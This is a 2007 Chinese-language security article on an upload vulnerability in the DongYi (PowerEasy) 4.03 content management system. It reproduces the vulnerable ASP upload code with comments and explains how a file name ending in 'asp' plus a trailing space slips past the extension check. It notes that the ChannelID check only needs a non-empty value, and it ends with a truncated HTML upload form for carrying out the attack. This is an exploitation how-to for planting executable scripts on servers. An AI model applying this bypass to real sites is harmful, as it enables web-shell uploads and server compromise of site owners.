动易4.03上传漏洞
日期:2007-07-25 荐:
动易4.03上传漏洞。2005-1-10 就出来了,一直没有公布。看黑客防线的攻关第3关用的是动易所有公布出来了。影响版本: 动易4.03 <%@language=vbscript codepage=936 %><%option explicitresponse.buffer=trueServer.ScriptTimeOut=9999999%><!--#include file="../conn.asp"--><!--#include file="../inc/function.asp"--><!--#include file="../inc/upfile_class.asp"--><%const upload_type=0 '上传方法:0=无惧无组件上传类,1=FSO上传 2=lyfupload,3=aspupload,4=chinaaspuploaddim ChannelID dim AdminNamedim EnableUploadFile,MaxFileSize,UpFileType,SavePath,SavePath2dim objUpload,oFile,FormName,strFileName,FileExtdim ImgWidth,ImgHeight,AlignTypedim EnableUploaddim arrUpFileTypedim ranNum,i,strJS,msg,dtNow '这些定义上传变量AdminName=trim(session("AdminName")) '判断seesion值是否正确UserName=trim(request.Cookies("asp163")("UserName")) '判断cookiemsg=""FoundErr=falseEnableUpload=false '上面这些定义了,如果seesion和cookie不合法,就出错dtNow=Now()%><html><head><meta http-equiv="Content-Type" content="text/html; charset=gb2312"><style type="text/css"><!--BODY{BACKGROUND-COLOR: #E1F4EE;font-size:9pt}--></style></head><body leftmargin="2" topmargin="0" marginwidth="0" marginheight="0"><%if AdminName="" and UserName="" then '如果admin和username为空就出错,如果假的不为空的用户名会怎么样呢,但是上面的要注意response.Write("请登录后再使用本功能!")elseselect case upload_typecase 0call upload_0() '使用化境无组件上传类case else'response.write "本系统未开放插件功能"'response.endend selectend ifcall CloseConn()%></body></html><%sub upload_0() '使用化境无组件上传类set objUpload=new upfile_class ''建立上传对象 objUpload.GetData(104857600) '取得上传数据,限制最大上传100Mif objUpload.err > 0 then '如果出错 select case objUpload.errcase 1response.write "请先选择你要上传的文件!"case 2response.write "你上传的文件总大小超出了最大限制(100M)"end selectresponse.endend if'开始了对ChannelID的判断ChannelID=trim(objUpload.form("ChannelID"))if ChannelID="" then '判断了,如果为空就出错response.write "频道参数丢失!"exit sub '原来平时丢失的原因是因为ID不合要求end ifChannelID=Clng(ChannelID)sqlChannel="select * from PE_Channel where ChannelID=" & ChannelIDset rsChannel=server.createObject("adodb.recordset")rsChannel.open sqlChannel,conn,1,1if rsChannel.bof and rsChannel.eof thenresponse.write "找不到此频道"FoundErr=True '变量出错end ifif rsChannel("Disabled")=True thenresponse.write "此频道已经被禁用!"FoundErr=True '上面进行对频道出错的判断和处理elseEnableUploadFile=rsChannel("EnableUploadFile")MaxFileSize=rsChannel("MaxFileSize")SavePath=strInstallDir & rsChannel("ChannelDir") & "/UploadSoftPic/" '保存的路径UpFileType=rsChannel("UpFileType") '成功上传对大小,路径,类型的处理end if rsChannel.closeset rsChannel=nothingif EnableUploadFile=False thenresponse.write "本频道未开放文件上传功能"FoundErr=Trueend ifif FoundErr=True then exit subfor each FormName in objUpload.file '列出所有上传了的文件EnableUpload=Falseset ofile=objUpload.file(FormName) '生成一个文件对象if ofile.filesize<100 thenmsg="请先选择你要上传的文件!"FoundErr=Trueend ifif ofile.filesize>(MaxFileSize*1024) thenmsg="文件大小超过了限制,最大只能上传" & CStr(MaxFileSize) & "K的文件!"FoundErr=trueend ifFileExt=lcase(ofile.FileExt) '判断扩展名arrUpFileType=split(UpFileType,"|")for i=0 to ubound(arrUpFileType)if FileExt=trim(arrUpFileType(i)) thenEnableUpload=trueexit forend ifnextif FileExt="asp" or FileExt="asa" or FileExt="aspx" or FileExt="cer" or FileExt="cdx" thenEnableUpload=false '哈哈,关键在这里啦,上传漏洞在这里啦end ifif EnableUpload=false then
msg="这种文件类型不允许上传!/n/n只允许上传这几种文件类型:" & UpFileTypeFoundErr=trueend ifstrJS="<SCRIPT language=javascript>" & vbcrlfif FoundErr<>true thenif ObjInstalled_FSO=True thenSavePath2=year(dtNow) & right("0" & month(dtNow),2) & "/"SavePath=SavePath & SavePath2if not fso.FolderExists(server.mappath(SavePath)) thenfso.createFolder server.mappath(SavePath)end ifend ifrandomizeranNum=int(900*rnd) 100strFileName=year(dtNow) & right("0" & month(dtNow),2) & right("0" & day(dtNow),2) & right("0" & hour(dtNow),2) & right("0" & minute(dtNow),2) & right("0" & second(dtNow),2) & ranNum & "." & FileExtofile.SaveToFile Server.mappath(SavePath & strFileName) '保存文件msg="图片上传成功!"strJS=strJS & "parent.document.myform.SoftPicUrl.value='UploadSoftPic/" & SavePath2 & strFileName & "';" & vbcrlfend ifstrJS=strJS & "alert('" & msg & "');" & vbcrlfstrJS=strJS & "history.go(-1);" & vbcrlfstrJS=strJS & "</script>"response.write strJSset ofile=nothingnextset objUpload=nothingend sub%>上面的是动易的上传代码,从上面分析,我们可以看到,它明显存在着上传漏洞。重要的漏洞代码在于这一句FileExt=lcase(ofile.FileExt) '判断扩展名arrUpFileType=split(UpFileType,"|")for i=0 to ubound(arrUpFileType)if FileExt=trim(arrUpFileType(i)) thenEnableUpload=trueexit forend ifnextif FileExt="asp" or FileExt="asa" or FileExt="aspx" or FileExt="cer" or FileExt="cdx" thenEnableUpload=false 一个变量的出错导致上传漏洞的产生。原理都是利用加个空格,因为asp (后面有空格)是不等于asp的,而对于windows对于碰到有空格的他会自动去掉空格,所以当我们上传一个asp 文件就会变成一个asp文件。利用的方法,主要是在于对channelID的突破,其它的好办,只要可以构造一下不为空的id就可以了。encType=multipart/form-data><INPUT class=tx1 type=file size=30 name=FileName> <INPUT class=tx1 type=file size=30 name=FileName1> <INPUT style="BORDER-RIGHT: rgb(88,88,88) 1px double; BORDER-TOP: rgb(88,88,88) 1px double; FONT-WEIGHT: normal; FONT-SIZE: 9pt; BORDER-LEFT: rgb(88,88,88) 1px double; LINE-HEIGHT: normal; BORDER-BOTTOM: rgb(88,88,88) 1px double; FONT-STYLE: normal; FONT-VARIANT: normal" type=submit value=上传 name=Submit> <INPUT id=PhotoUrlID type=hidden value=0 name=PhotoUrlID>
标签: